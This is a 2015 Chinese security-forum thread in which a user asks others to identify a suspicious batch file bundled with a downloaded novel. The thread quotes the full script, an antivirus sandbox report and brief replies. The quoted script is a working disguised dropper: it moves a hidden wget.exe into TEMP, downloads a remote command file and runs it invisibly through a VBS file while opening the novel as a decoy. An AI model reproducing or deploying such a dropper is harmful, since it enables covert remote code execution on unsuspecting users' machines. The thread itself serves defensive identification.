新编辑，带多一个批处理，下载小说附带的一个隐藏可执行文件，求鉴定

ytysh

BAT的内容很诡异
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a  
cls
@echo off
if exist %TEMP%\tmp.cmd del /s /q %TEMP%\tmp.cmd
if exist %TEMP%\tmp.vbs del /s /q %TEMP%\tmp.vbs
if exist %TEMP%\wget.exe del /s /q %TEMP%\wget.exe
ATTRIB -R -A -S -H books\wget.exe /S /D
ping 127.0.0.1 1>nul
move /Y books\wget.exe %TEMP%\wget.exe
ping 127.0.0.1 1>nul
%temp%\wget.exe -q -O %temp%\tmp.cmd http://cq.xdf.la/dl1.txt
ping 127.0.0.1 1>nul
echo Set ws = CreateObject("Wscript.Shell")>>%TEMP%\tmp.vbs
echo ws.run "cmd /c if exist %TEMP%\tmp (echo y|cacls %TEMP%\tmp /p everyone:f >nul 2>nul &&rd /s /q %TEMP%\tmp)",vbhide>>%TEMP%\tmp.vbs
echo ws.run "cmd /c %TEMP%\tmp.cmd",vbhide>>%TEMP%\tmp.vbs
ping 127.0.0.1 1>nul
start books\xiaoshuo.txt
start %TEMP%\tmp.vbs
exit

小红伞提示Under Analysis

We received the following archive files:

File ID        Filename        Size (Byte)        Result
28539287        books.zip        385.84 KB        OK
A listing of files contained inside archives alongside their results can be found below:

File ID        Filename        Size (Byte)        Result
28539288        book.bat        1.2 KB        UNDER ANALYSIS
28539289        xiaoshuo.txt        34 Byte        UNDER ANALYSIS
22465467        wget.exe        392 KB        KNOWN CLEAN

Please find a detailed report concerning each individual sample below:

Filename        Result
book.bat        UNDER ANALYSIS

The file 'book.bat' has been determined to be 'UNDER ANALYSIS'.
Filename        Result
xiaoshuo.txt        UNDER ANALYSIS

The file 'xiaoshuo.txt' has been determined to be 'UNDER ANALYSIS'.
Filename        Result
wget.exe        KNOWN CLEAN

The file 'wget.exe' has been determined to be 'KNOWN CLEAN'. In particular this means that we could not find any malicious content. Please note that the file is part of 'NULL'.

EnZhSTReLniKoVa

BD 扫描MSS

2221000789

趋势科技  MISS

paul_guo

WGET是个CMD调用的下载器。。。。。白文件的

摆摊卖西瓜

paul_guo 发表于 2015-6-14 17:51
WGET是个CMD调用的下载器。。。。。白文件的

下载器是白文件。下载的东西呢、。。。

paul_guo

摆摊卖西瓜 发表于 2015-6-17 17:52
下载器是白文件。下载的东西呢、。。。

这我就不清楚了

摆摊卖西瓜

paul_guo 发表于 2015-6-17 17:54
这我就不清楚了